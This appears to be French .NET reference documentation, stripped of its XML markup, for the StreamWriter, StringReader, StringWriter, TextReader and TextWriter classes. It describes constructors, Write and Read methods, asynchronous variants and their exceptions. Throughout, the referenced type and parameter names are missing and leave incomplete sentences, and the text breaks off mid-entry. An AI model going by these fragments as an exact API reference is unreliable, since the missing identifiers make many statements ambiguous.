Implémente pour écrire les caractères dans un flux selon un encodage particulier.Pour parcourir le code source de .NET Framework pour ce type, consultez la Source de référence. + 1 + + + Initialise une nouvelle instance de la classe pour le flux spécifié, à l'aide de l'encodage UTF-8 et de la taille de la mémoire tampon par défaut. + Le flux dans lequel écrire. + + n'est pas accessible en écriture. + + a la valeur null. + + + Initialise une nouvelle instance de la classe pour le flux spécifié, à l'aide de l'encodage spécifié et de la taille de mémoire tampon par défaut. + Le flux dans lequel écrire. + Encodage des caractères à utiliser. + + ou est null. + + n'est pas accessible en écriture. + + + Initialise une nouvelle instance de la classe pour le flux spécifié, à l'aide de l'encodage et de la taille de mémoire tampon spécifiés. + Le flux dans lequel écrire. + Encodage des caractères à utiliser. + Taille de la mémoire tampon en octets. + + ou est null. + + est négatif. + + n'est pas accessible en écriture. + + + Initialise une nouvelle instance de la classe pour le flux spécifié, à l'aide de l'encodage et de la taille de mémoire tampon spécifiés, et permet éventuellement de laisser le flux ouvert. + Le flux dans lequel écrire. + Encodage des caractères à utiliser. + Taille de la mémoire tampon en octets. + true pour maintenir le flux ouvert après avoir supprimé l'objet  ; sinon, false. + + ou est null. + + est négatif. + + n'est pas accessible en écriture. + + + Obtient ou définit une valeur indiquant si vide sa mémoire tampon vers le flux sous-jacent après chaque appel à . + true pour forcer à vider sa mémoire tampon ; sinon, false. + 1 + + + Obtient le flux sous-jacent qui sert d'interface avec un magasin de stockage. + Flux dans lequel ce StreamWriter écrit. + 2 + + + Libère les ressources non managées utilisées par et libère éventuellement les ressources managées. + true pour libérer les ressources managées et non managées ; false pour ne libérer que les ressources non managées. + L'encodage actuel ne prend pas en charge l'affichage de la moitié d'une paire de substitution Unicode. + + + Obtient le dans lequel la sortie est écrite. + + spécifié dans le constructeur pour l'instance actuelle, ou si aucun encodage n'est spécifié. + 2 + + + Efface toutes les mémoires tampons pour le writer actuel et provoque l'écriture des données mises en mémoire tampon dans le flux sous-jacent. + Le writer actuel est fermé. + Une erreur d'E/S s'est produite. + L'encodage actuel ne prend pas en charge l'affichage de la moitié d'une paire de substitution Unicode. + 1 + + + Efface toutes les mémoires tampons pour ce flux de manière asynchrone et provoque l'écriture des données mises en mémoire tampon sur l'appareil sous-jacent. + Tâche qui représente l'opération de vidage asynchrone. + Le flux a été supprimé. + + + Fournit un StreamWriter sans magasin de sauvegarde dans lequel il est possible d'écrire, mais qu'il est impossible de lire. + 1 + + + Écrit un caractère dans le flux. + Caractère à écrire dans le flux. + Une erreur d'E/S se produit. + + a la valeur true ou la mémoire tampon de est saturée, et le writer actuel est fermé. + + a la valeur true ou la mémoire tampon de est saturée, et le contenu de la mémoire tampon ne peut pas être écrit dans le flux de taille fixe sous-jacent, car se trouve à la fin du flux. + 1 + + + Écrit un tableau de caractères dans le flux. + Tableau de caractères contenant les données à écrire.Si est null, rien n'est écrit. + Une erreur d'E/S se produit. + + a la valeur true ou la mémoire tampon de est saturée, et le writer actuel est fermé. + + a la valeur true ou la mémoire tampon de est saturée, et le contenu de la mémoire tampon ne peut pas être écrit dans le flux de taille fixe sous-jacent, car se trouve à la fin du flux. + 1 + + + Écrit un sous-tableau de caractères dans le flux. + Tableau de caractères contenant les données à écrire. + Position du caractère dans la mémoire tampon où la lecture des données. + Nombre maximal de caractères à écrire. + + a la valeur null. + La longueur de la mémoire tampon moins est inférieure à . + + ou est négatif. + Une erreur d'E/S se produit. + + a la valeur true ou la mémoire tampon de est saturée, et le writer actuel est fermé. + + a la valeur true ou la mémoire tampon de est saturée, et le contenu de la mémoire tampon ne peut pas être écrit dans le flux de taille fixe sous-jacent, car se trouve à la fin du flux. + 1 + + + Écrit une chaîne dans le flux. + Chaîne à écrire dans le flux.Si a la valeur null, rien n'est écrit. + + a la valeur true ou la mémoire tampon de est saturée, et le writer actuel est fermé. + + a la valeur true ou la mémoire tampon de est saturée, et le contenu de la mémoire tampon ne peut pas être écrit dans le flux de taille fixe sous-jacent, car se trouve à la fin du flux. + Une erreur d'E/S se produit. + 1 + + + Écrit un caractère dans le flux de façon asynchrone. + Tâche qui représente l'opération d'écriture asynchrone. + Caractère à écrire dans le flux. + Le writer de flux est supprimé. + Le writer du flux est actuellement utilisé par une opération d'écriture précédente. + + + Écrit un sous-tableau de caractères dans le flux de façon asynchrone. + Tâche qui représente l'opération d'écriture asynchrone. + Tableau de caractères contenant les données à écrire. + Position du caractère dans la mémoire où commencer la lecture des données. + Nombre maximal de caractères à écrire. + + a la valeur null. + + plus est supérieur à la longueur de la mémoire tampon. + + ou est négatif. + Le writer de flux est supprimé. + Le writer du flux est actuellement utilisé par une opération d'écriture précédente. + + + Écrit une chaîne dans le flux de façon asynchrone. + Tâche qui représente l'opération d'écriture asynchrone. + Chaîne à écrire dans le flux.Si est null, rien n'est écrit. + Le writer de flux est supprimé. + Le writer du flux est actuellement utilisé par une opération d'écriture précédente. + + + Écrit un terminateur de ligne dans le flux de façon asynchrone. + Tâche qui représente l'opération d'écriture asynchrone. + Le writer de flux est supprimé. + Le writer du flux est actuellement utilisé par une opération d'écriture précédente. + + + Écrit dans le flux un caractère suivi d'un terminateur de ligne de façon asynchrone. + Tâche qui représente l'opération d'écriture asynchrone. + Caractère à écrire dans le flux. + Le writer de flux est supprimé. + Le writer du flux est actuellement utilisé par une opération d'écriture précédente. + + + Écrit un sous-tableau de caractères suivi d'un terminateur de ligne de façon asynchrone dans le flux. + Tâche qui représente l'opération d'écriture asynchrone. + Tableau de caractères à partir duquel les données doivent être écrites. + Position du caractère dans la mémoire tampon où la lecture des données. + Nombre maximal de caractères à écrire. + + a la valeur null. + + plus est supérieur à la longueur de la mémoire tampon. + + ou est négatif. + Le writer de flux est supprimé. + Le writer du flux est actuellement utilisé par une opération d'écriture précédente. + + + Écrit une chaîne suivie d'un terminateur de ligne de façon asynchrone dans le flux. + Tâche qui représente l'opération d'écriture asynchrone. + Chaîne à écrire.Si la valeur est null, seul le terminateur de ligne est écrit. + Le writer de flux est supprimé. + Le writer du flux est actuellement utilisé par une opération d'écriture précédente. + + + Implémente qui lit une chaîne. + 2 + + + Initialise une nouvelle instance de la classe qui lit la chaîne spécifiée. + Chaîne à laquelle doit être initialisé. + Le paramètre est null. + + + Libère les ressources non managées utilisées par et libère éventuellement les ressources managées. + true pour libérer les ressources managées et non managées ; false pour libérer uniquement les ressources non managées. + + + Retourne le prochain caractère disponible, mais ne le consomme pas. + Entier représentant le prochain caractère à lire, ou -1 si plus aucun caractère n'est disponible ou si le flux ne prend pas en charge la recherche. + Le lecteur actuel est fermé. + 2 + + + Lit le caractère suivant dans la chaîne d'entrée et avance sa position d'un caractère. + Caractère suivant de la chaîne sous-jacente, ou -1 si plus aucun caractère n'est disponible. + Le lecteur actuel est fermé. + 2 + + + Lit un bloc de caractères dans la chaîne d'entrée et avance la position du caractère de . + Nombre total de caractères lus dans la mémoire tampon.Cela peut être inférieur au nombre de caractères demandé si ce nombre n'est pas actuellement disponible, ou égal à zéro si la fin de la chaîne sous-jacente a été atteinte. + Lorsque cette méthode est retournée, contient le tableau de caractères spécifié dont les valeurs comprises entre et ( + - 1) sont remplacées par les caractères lus dans la source en cours. + Index de début dans la mémoire tampon. + Nombre de caractères à lire. + + a la valeur null. + La longueur de la mémoire tampon moins est inférieure à . + + ou est négatif. + Le lecteur actuel est fermé. + 2 + + + Lit un nombre maximal spécifié de caractères à partir de la chaîne actuelle de manière asynchrone, et écrit les données dans une mémoire tampon, en commençant à l'index spécifié. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient le nombre total d'octets lus dans la mémoire tampon.La valeur de résultat peut être inférieure au nombre d'octets demandés si le nombre d'octets actuellement disponibles est inférieur au nombre demandé, ou elle peut avoir la valeur 0 (zéro) si la fin de la chaîne a été atteinte. + Lorsque cette méthode est retournée, contient le tableau de caractères spécifié dont les valeurs comprises entre et ( + - 1) sont remplacées par les caractères lus dans la source en cours. + Position dans à partir de laquelle commencer l'écriture. + Nombre maximal de caractères à lire.Si la fin de la chaîne est atteinte avant que le nombre de caractères spécifié soit écrit dans la mémoire tampon, la méthode est retournée. + + a la valeur null. + + ou est négatif. + La somme de et de est supérieure à la longueur de la mémoire tampon. + Le lecteur de chaîne a été supprimé. + Lecteur est en cours d'utilisation par une opération de lecture précédente. + + + Lit un nombre maximal spécifié de caractères à partir de la chaîne actuelle de manière asynchrone, et écrit les données dans une mémoire tampon, en commençant à l'index spécifié. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient le nombre total d'octets lus dans la mémoire tampon.La valeur de résultat peut être inférieure au nombre d'octets demandés si le nombre d'octets actuellement disponibles est inférieur au nombre demandé, ou elle peut avoir la valeur 0 (zéro) si la fin de la chaîne a été atteinte. + Lorsque cette méthode est retournée, contient le tableau de caractères spécifié dont les valeurs comprises entre et ( + - 1) sont remplacées par les caractères lus dans la source en cours. + Position dans à partir de laquelle commencer l'écriture. + Nombre maximal de caractères à lire.Si la fin de la chaîne est atteinte avant que le nombre de caractères spécifié soit écrit dans la mémoire tampon, la méthode est retournée. + + a la valeur null. + + ou est négatif. + La somme de et de est supérieure à la longueur de la mémoire tampon. + Le lecteur de chaîne a été supprimé. + Lecteur est en cours d'utilisation par une opération de lecture précédente. + + + Lit une ligne de caractères à partir de la chaîne en cours et retourne les données sous forme de chaîne. + Ligne suivante dans la chaîne actuelle ou null si la fin de la chaîne est atteinte. + Le lecteur actuel est fermé. + La mémoire disponible est insuffisante pour allouer une mémoire tampon pour la chaîne retournée. + 2 + + + Lit une ligne de caractères de manière asynchrone à partir de la chaîne en cours et retourne les données sous forme de chaîne. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient la ligne suivante issue du lecteur de chaîne, ou a la valeur null si tous les caractères ont été lus. + Le nombre de caractères contenus dans la ligne suivante est supérieur à . + Le lecteur de chaîne a été supprimé. + Lecteur est en cours d'utilisation par une opération de lecture précédente. + + + Lit tous les caractères entre la position actuelle et la fin de la chaîne, puis les retourne sous la forme d'une chaîne unique. + Contenu à partir de la position actuelle jusqu'à la fin du flux sous-jacent. + La mémoire disponible est insuffisante pour allouer une mémoire tampon pour la chaîne retournée. + Le lecteur actuel est fermé. + 2 + + + Lit tous les caractères entre la position actuelle et la fin de la chaîne de manière asynchrone, puis les retourne sous la forme d'une chaîne unique. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient une chaîne composée des caractères de la position actuelle jusqu'à la fin de la chaîne. + Le nombre de caractères est supérieur à . + Le lecteur de chaîne a été supprimé. + Lecteur est en cours d'utilisation par une opération de lecture précédente. + + + Implémente pour l'écriture d'informations dans une chaîne.Les informations sont stockées dans un sous-jacent. + 2 + + + Initialise une nouvelle instance de la classe . + + + Initialise une nouvelle instance de la classe avec le contrôle de format spécifié. + Objet qui contrôle la mise en forme. + + + Initialise une nouvelle instance de la classe qui écrit dans le spécifié. + StringBuilder dans lequel écrire. + + a la valeur null. + + + Initialise une nouvelle instance de la classe qui écrit dans le spécifié et possède le fournisseur de formats donné. + StringBuilder dans lequel écrire. + Objet qui contrôle la mise en forme. + + a la valeur null. + + + Libère les ressources non managées utilisées par et libère éventuellement les ressources managées. + true pour libérer les ressources managées et non managées ; false pour libérer uniquement les ressources non managées. + + + Obtient le dans lequel la sortie est écrite. + Encoding dans lequel la sortie est écrite. + 1 + + + Efface de façon asynchrone toutes les mémoires tampons pour le writer actuel et provoque l'écriture des données mises en mémoire tampon sur le périphérique sous-jacent. + Tâche qui représente l'opération de vidage asynchrone. + + + Retourne le sous-jacent. + StringBuilder sous-jacent. + 2 + + + Retourne une chaîne contenant les caractères écrits jusqu'ici dans le StringWriter en cours. + Chaîne contenant les caractères écrits dans le StringWriter en cours. + 2 + + + Écrit un caractère dans la chaîne. + Caractère à écrire. + Le writer est fermé. + 2 + + + Écrit un sous-tableau de caractères dans la chaîne. + Tableau de caractères à partir duquel les données doivent être écrites. + Position dans la mémoire tampon à laquelle commencer la lecture des données. + Nombre maximal de caractères à écrire. + + a la valeur null. + + ou est négatif. + ( + )> .Length. + Le writer est fermé. + 2 + + + Écrit une chaîne dans la chaîne actuelle. + Chaîne à écrire. + Le writer est fermé. + 2 + + + Écrit un caractère dans la chaîne de façon asynchrone. + Tâche qui représente l'opération d'écriture asynchrone. + Caractère à écrire dans la chaîne. + Le writer de chaîne est supprimé. + Le writer de chaîne est actuellement utilisé par une opération d'écriture précédente. + + + Écrit un sous-tableau de caractères dans la chaîne de façon asynchrone. + Tâche qui représente l'opération d'écriture asynchrone. + Tableau de caractères à partir duquel les données doivent être écrites. + Position dans la mémoire tampon à laquelle commencer la lecture des données. + Nombre maximal de caractères à écrire. + + a la valeur null. + + plus est supérieur à la longueur de la mémoire tampon. + + ou est négatif. + Le writer de chaîne est supprimé. + Le writer de chaîne est actuellement utilisé par une opération d'écriture précédente. + + + Écrit une chaîne dans la chaîne actuelle de façon asynchrone. + Tâche qui représente l'opération d'écriture asynchrone. + Chaîne à écrire.Si est null, rien n'est écrit dans le flux de texte. + Le writer de chaîne est supprimé. + Le writer de chaîne est actuellement utilisé par une opération d'écriture précédente. + + + Écrit dans la chaîne un caractère suivi d'un terminateur de ligne de façon asynchrone. + Tâche qui représente l'opération d'écriture asynchrone. + Caractère à écrire dans la chaîne. + Le writer de chaîne est supprimé. + Le writer de chaîne est actuellement utilisé par une opération d'écriture précédente. + + + Écrit un sous-tableau de caractères suivi d'un terminateur de ligne de façon asynchrone dans la chaîne. + Tâche qui représente l'opération d'écriture asynchrone. + Tableau de caractères à partir duquel les données doivent être écrites. + Position dans la mémoire tampon à laquelle commencer la lecture des données. + Nombre maximal de caractères à écrire. + + a la valeur null. + + plus est supérieur à la longueur de la mémoire tampon. + + ou est négatif. + Le writer de chaîne est supprimé. + Le writer de chaîne est actuellement utilisé par une opération d'écriture précédente. + + + Écrit une chaîne suivie par un terminateur de ligne de façon asynchrone dans la chaîne actuelle. + Tâche qui représente l'opération d'écriture asynchrone. + Chaîne à écrire.Si la valeur est null, seul le terminateur de ligne est écrit. + Le writer de chaîne est supprimé. + Le writer de chaîne est actuellement utilisé par une opération d'écriture précédente. + + + Représente un lecteur capable de lire une série séquentielle de caractères. + 2 + + + Initialise une nouvelle instance de la classe . + + + Libère toutes les ressources utilisées par . + + + Libère les ressources non managées utilisées par l'objet et libère éventuellement les ressources managées. + true pour libérer les ressources managées et non managées ; false pour ne libérer que les ressources non managées. + + + Fournit un TextReader sans données à lire. + 1 + + + Lit le caractère suivant sans modifier l'état du lecteur ou la source du caractère.Retourne le prochain caractère disponible sans le lire réellement à partir du flux lecteur. + Entier représentant le prochain caractère à lire, ou -1 si plus aucun caractère n'est disponible ou si le lecteur ne prend pas en charge la recherche. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Lit le caractère suivant à partir du lecteur de texte et avance la position d'un caractère. + Caractère suivant du lecteur de texte ou -1 s'il n'y a plus de caractères disponibles.L'implémentation par défaut retourne -1. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Lit un nombre maximal spécifié de caractères à partir du lecteur actuel et écrit les données dans une mémoire tampon, en commençant à l'index spécifié. + Nombre de caractères lus.Le nombre sera inférieur ou égal à , selon les données disponibles dans le lecteur.Cette méthode retourne zéro si elle est appelée alors qu'il ne reste aucun caractère à lire. + Lorsque cette méthode est retournée, contient le tableau de caractères spécifié dont les valeurs comprises entre et ( + - 1) sont remplacées par les caractères lus dans la source en cours. + Position dans à partir de laquelle commencer l'écriture. + Nombre maximal de caractères à lire.Si la fin du lecteur est atteinte avant que le nombre de caractères spécifié soit lu dans la mémoire tampon, la méthode est retournée. + + a la valeur null. + La longueur de la mémoire tampon moins est inférieure à . + + ou est négatif. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Lit de façon asynchrone un nombre maximal de caractères spécifié dans le lecteur de texte actuel et écrit les données dans une mémoire tampon, en commençant à l'index spécifié. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient le nombre total d'octets lus dans la mémoire tampon.La valeur de résultat peut être inférieure au nombre d'octets demandés si le nombre d'octets actuellement disponibles est inférieur au nombre demandé, ou elle peut avoir la valeur 0 (zéro) si la fin du texte a été atteinte. + Lorsque cette méthode est retournée, contient le tableau de caractères spécifié dont les valeurs comprises entre et ( + - 1) sont remplacées par les caractères lus dans la source en cours. + Position dans à partir de laquelle commencer l'écriture. + Nombre maximal de caractères à lire.Si la fin du texte est atteinte avant que le nombre de caractères spécifié soit lu dans la mémoire tampon, la méthode en cours est retournée. + + a la valeur null. + + ou est négatif. + La somme de et de est supérieure à la longueur de la mémoire tampon. + Le lecteur de texte a été supprimé. + Lecteur est en cours d'utilisation par une opération de lecture précédente. + + + Lit un nombre maximal spécifié de caractères à partir du lecteur de texte actuel et écrit les données dans une mémoire tampon, en commençant à l'index spécifié. + Nombre de caractères lus.Le nombre sera inférieur ou égal à , selon que tous les caractères d'entrée ont été lus. + Lorsque cette méthode est retournée, ce paramètre contient le tableau de caractères spécifié dont les valeurs comprises entre et ( + -1) sont remplacées par les caractères lus dans la source en cours. + Position dans à partir de laquelle commencer l'écriture. + Nombre maximal de caractères à lire. + + a la valeur null. + La longueur de la mémoire tampon moins est inférieure à . + + ou est négatif. + + est fermé. + Une erreur d'E/S se produit. + 2 + + + Lit de façon asynchrone un nombre maximal de caractères spécifié dans le lecteur de texte actuel et écrit les données dans une mémoire tampon, en commençant à l'index spécifié. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient le nombre total d'octets lus dans la mémoire tampon.La valeur de résultat peut être inférieure au nombre d'octets demandés si le nombre d'octets actuellement disponibles est inférieur au nombre demandé, ou elle peut avoir la valeur 0 (zéro) si la fin du texte a été atteinte. + Lorsque cette méthode est retournée, contient le tableau de caractères spécifié dont les valeurs comprises entre et ( + - 1) sont remplacées par les caractères lus dans la source en cours. + Position dans à partir de laquelle commencer l'écriture. + Nombre maximal de caractères à lire.Si la fin du texte est atteinte avant que le nombre de caractères spécifié soit lu dans la mémoire tampon, la méthode en cours est retournée. + + a la valeur null. + + ou est négatif. + La somme de et de est supérieure à la longueur de la mémoire tampon. + Le lecteur de texte a été supprimé. + Lecteur est en cours d'utilisation par une opération de lecture précédente. + + + Lit une ligne de caractères à partir du lecteur de texte et retourne les données sous forme de chaîne. + La ligne suivante du lecteur ou null si tous les caractères ont été lus. + Une erreur d'E/S se produit. + La mémoire disponible est insuffisante pour allouer une mémoire tampon pour la chaîne retournée. + + est fermé. + Le nombre de caractères contenus dans la ligne suivante est supérieur à + 1 + + + Lit une ligne de caractères de manière asynchrone et retourne les données sous forme de chaîne. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient la ligne suivante issue du lecteur de texte, ou a la valeur null si tous les caractères ont été lus. + Le nombre de caractères contenus dans la ligne suivante est supérieur à . + Le lecteur de texte a été supprimé. + Lecteur est en cours d'utilisation par une opération de lecture précédente. + + + Lit tous les caractères entre la position actuelle et la fin du lecteur de texte, puis les retourne sous forme d'une chaîne. + Chaîne contenant tous les caractères entre la position actuelle et la fin du lecteur de texte. + Une erreur d'E/S se produit. + + est fermé. + La mémoire disponible est insuffisante pour allouer une mémoire tampon pour la chaîne retournée. + Le nombre de caractères contenus dans la ligne suivante est supérieur à + 1 + + + Lit tous les caractères entre la position actuelle et la fin du lecteur de texte de manière asynchrone, puis les retourne sous la forme d'une chaîne. + Tâche qui représente l'opération de lecture asynchrone.La valeur du paramètre contient une chaîne composée des caractères de la position actuelle jusqu'à la fin du flux du lecteur de texte. + Le nombre de caractères est supérieur à . + Le lecteur de texte a été supprimé. + Lecteur est en cours d'utilisation par une opération de lecture précédente. + + + Représente un writer capable d'écrire une série de caractères séquentiels.Cette classe est abstraite. + 2 + + + Initialise une nouvelle instance de la classe . + + + Initialise une nouvelle instance de la classe avec le fournisseur de format spécifié. + Objet qui contrôle la mise en forme. + + + Stocke les caractères de saut de ligne utilisés pour ce TextWriter. + + + Libère toutes les ressources utilisées par l'objet . + + + Libère les ressources non managées utilisées par et libère éventuellement les ressources managées. + true pour libérer les ressources managées et non managées ; false pour ne libérer que les ressources non managées. + + + En cas de substitution dans une classe dérivée, retourne l'encodage de caractères dans lequel la sortie est écrite. + Encodage de caractères dans lequel la sortie est écrite. + 1 + + + Efface toutes les mémoires tampons pour le writer actuel et provoque l'écriture des données mises en mémoire tampon sur l'appareil sous-jacent. + 1 + + + Efface de façon asynchrone toutes les mémoires tampons pour le writer actuel et provoque l'écriture des données mises en mémoire tampon sur l'appareil sous-jacent. + Tâche qui représente l'opération de vidage asynchrone. + Le writer de texte est supprimé. + Le writer est actuellement utilisé par une opération d'écriture précédente. + + + Obtient un objet qui contrôle la mise en forme. + Objet pour une culture spécifique, ou mise en forme de la culture actuelle si aucune autre culture n'est spécifiée. + 2 + + + Obtient ou définit la chaîne de marque de fin de ligne utilisée pour le TextWriter actuel. + Chaîne de marque de fin de ligne pour le TextWriter actuel. + 2 + + + Fournit un élément TextWriter sans magasin de stockage dans lequel il est possible d'écrire, mais pas de lire. + 1 + + + Écrit la représentation textuelle d'une valeur Boolean dans la chaîne ou le flux de texte. + La valeur Boolean à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit un caractère dans la chaîne ou le flux de texte. + Caractère à écrire dans le flux de texte. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit un tableau de caractères dans la chaîne ou le flux de texte. + Tableau de caractères à écrire dans le flux de texte. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit un sous-tableau de caractères dans la chaîne ou le flux de texte. + Tableau de caractères à partir duquel les données doivent être écrites. + Position du caractère dans la mémoire tampon à laquelle commencer la récupération des données. + Nombre de caractères à écrire. + La longueur de la mémoire tampon moins est inférieure à . + Le paramètre a la valeur null. + + ou est négatif. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'une valeur décimale dans la chaîne ou le flux de texte. + Valeur décimale à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'une valeur à virgule flottante de 8 octets dans la chaîne ou le flux de texte. + Valeur à virgule flottante de 8 octets à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'un entier signé de 4 octets dans la chaîne ou le flux de texte. + Entier signé de 4 octets à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'un entier signé de 8 octets dans la chaîne ou le flux de texte. + Entier signé de 8 octets à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'un objet dans la chaîne ou le flux de texte en appelant la méthode ToString sur cet objet. + Objet à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'une valeur à virgule flottante de 4 octets dans la chaîne ou le flux de texte. + Valeur à virgule flottante de 4 octets à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit une chaîne dans la chaîne ou le flux de texte. + Chaîne à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit une chaîne mise en forme dans la chaîne ou le flux de texte, en utilisant la même sémantique que la méthode . + Chaîne de format composite (consultez la section Notes). + Objet à mettre en forme et à écrire. + + a la valeur null. + + est fermé. + Une erreur d'E/S se produit. + + n'est pas une chaîne de format composite.ou L'index d'un élément de format est inférieur à 0 (zéro) ou supérieur ou égal au nombre d'objets à mettre en forme (qui, pour cette surcharge de méthode, s'élève à un). + 1 + + + Écrit une chaîne mise en forme dans la chaîne ou le flux de texte, en utilisant la même sémantique que la méthode . + Chaîne de format composite (consultez la section Notes). + Premier objet à mettre en forme et à écrire. + Deuxième objet à mettre en forme et à écrire. + + a la valeur null. + + est fermé. + Une erreur d'E/S se produit. + + n'est pas une chaîne de format composite.ou L'index d'un élément de format est inférieur à 0 (zéro) ou supérieur ou égal au nombre d'objets à mettre en forme (qui, pour cette surcharge de méthode, s'élève à deux). + 1 + + + Écrit une chaîne mise en forme dans la chaîne ou le flux de texte, en utilisant la même sémantique que la méthode . + Chaîne de format composite (consultez la section Notes). + Premier objet à mettre en forme et à écrire. + Deuxième objet à mettre en forme et à écrire. + Troisième objet à mettre en forme et à écrire. + + a la valeur null. + + est fermé. + Une erreur d'E/S se produit. + + n'est pas une chaîne de format composite.ou L'index d'un élément de format est inférieur à 0 (zéro) ou supérieur ou égal au nombre d'objets à mettre en forme (qui, pour cette surcharge de méthode, s'élève à trois). + 1 + + + Écrit une chaîne mise en forme dans la chaîne ou le flux de texte, en utilisant la même sémantique que la méthode . + Chaîne de format composite (consultez la section Notes). + Tableau d'objets contenant aucun, un ou plusieurs objets à mettre en forme et à écrire. + + ou a la valeur null. + + est fermé. + Une erreur d'E/S se produit. + + n'est pas une chaîne de format composite.ou L'index d'un élément de mise en forme est inférieur à 0 (zéro), ou supérieur ou égal à la longueur du tableau . + 1 + + + Écrit la représentation textuelle d'un entier non signé de 4 octets dans la chaîne ou le flux de texte. + Entier non signé de 4 octets à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'un entier non signé de 8 octets dans la chaîne ou le flux de texte. + Entier non signé de 8 octets à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit un caractère de façon asynchrone dans la chaîne ou le flux de texte. + Tâche qui représente l'opération d'écriture asynchrone. + Caractère à écrire dans le flux de texte. + Le writer de texte est supprimé. + Le writer de texte est actuellement utilisé par une opération d'écriture précédente. + + + Écrit un tableau de caractères de façon asynchrone dans la chaîne ou le flux de texte. + Tâche qui représente l'opération d'écriture asynchrone. + Tableau de caractères à écrire dans le flux de texte.Si a la valeur null, rien n'est écrit. + Le writer de texte est supprimé. + Le writer de texte est actuellement utilisé par une opération d'écriture précédente. + + + Écrit un sous-tableau de caractères de façon asynchrone dans la chaîne ou le flux de texte. + Tâche qui représente l'opération d'écriture asynchrone. + Tableau de caractères à partir duquel les données doivent être écrites. + Position du caractère dans la mémoire tampon à laquelle commencer la récupération des données. + Nombre de caractères à écrire. + + a la valeur null. + + plus est supérieur à la longueur de la mémoire tampon. + + ou est négatif. + Le writer de texte est supprimé. + Le writer de texte est actuellement utilisé par une opération d'écriture précédente. + + + Écrit une chaîne de façon asynchrone dans la chaîne ou le flux de texte. + Tâche qui représente l'opération d'écriture asynchrone. + Chaîne à écrire.Si a la valeur null, rien n'est écrit dans le flux de texte. + Le writer de texte est supprimé. + Le writer de texte est actuellement utilisé par une opération d'écriture précédente. + + + Écrit une marque de fin de ligne dans la chaîne ou le flux de texte. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'une valeur Boolean suivie d'une marque de fin de ligne dans la chaîne ou le flux de texte. + La valeur Boolean à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit un caractère suivi d'une marque de fin de ligne dans la chaîne ou le flux de texte. + Caractère à écrire dans le flux de texte. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit un tableau de caractères suivi d'une marque de fin de ligne dans la chaîne ou le flux de texte. + Tableau de caractères dans lequel sont lues des données. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit un sous-tableau de caractères suivi d'une marque de fin de ligne dans la chaîne ou le flux de texte. + Tableau de caractères dans lequel sont lues des données. + Dans , position de caractère à laquelle commencer la lecture des données. + Nombre maximal de caractères à écrire. + La longueur de la mémoire tampon moins est inférieure à . + Le paramètre a la valeur null. + + ou est négatif. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'une valeur décimale suivie d'une marque de fin de ligne dans la chaîne ou le flux de texte. + Valeur décimale à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'une valeur à virgule flottante de 8 octets suivie d'une marque de fin de ligne dans la chaîne ou le flux de texte. + Valeur à virgule flottante de 8 octets à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'un entier signé de 4 octets suivie d'une marque de fin de ligne dans la chaîne ou le flux de texte. + Entier signé de 4 octets à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'un entier signé de 8 octets suivi d'une marque de fin de ligne dans la chaîne ou le flux de texte. + Entier signé de 8 octets à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'un objet en appelant la méthode ToString sur cet objet, suivie d'une marque de fin de ligne dans la chaîne ou le flux de texte. + Objet à écrire.Si a la valeur null, seule la marque de fin de ligne est écrite. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit la représentation textuelle d'une valeur à virgule flottante de 4 octets suivie d'une marque de fin de ligne dans la chaîne ou le flux de texte. + Valeur à virgule flottante de 4 octets à écrire. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit une chaîne suivie d'une marque de fin de ligne dans la chaîne ou le flux de texte. + Chaîne à écrire.Si a la valeur null, seule la marque de fin de ligne est écrite. + + est fermé. + Une erreur d'E/S se produit. + 1 + + + Écrit une chaîne mise en forme et une nouvelle ligne dans la chaîne ou le flux de texte, en utilisant la même sémantique que la méthode . + Chaîne de format composite (consultez la section Notes). + Objet à mettre en forme et à écrire. + + a la valeur null. + + est fermé. + Une erreur d'E/S se produit. + + n'est pas une chaîne de format composite.ou L'index d'un élément de format est inférieur à 0 (zéro) ou supérieur ou égal au nombre d'objets à mettre en forme (qui, pour cette surcharge de méthode, s'élève à un). + 1 + + + Écrit une chaîne mise en forme et une nouvelle ligne dans la chaîne ou le flux de texte, en utilisant la même sémantique que la méthode . + Chaîne de format composite (consultez la section Notes). + Premier objet à mettre en forme et à écrire. + Deuxième objet à mettre en forme et à écrire. + + a la valeur null. + + est fermé. + Une erreur d'E/S se 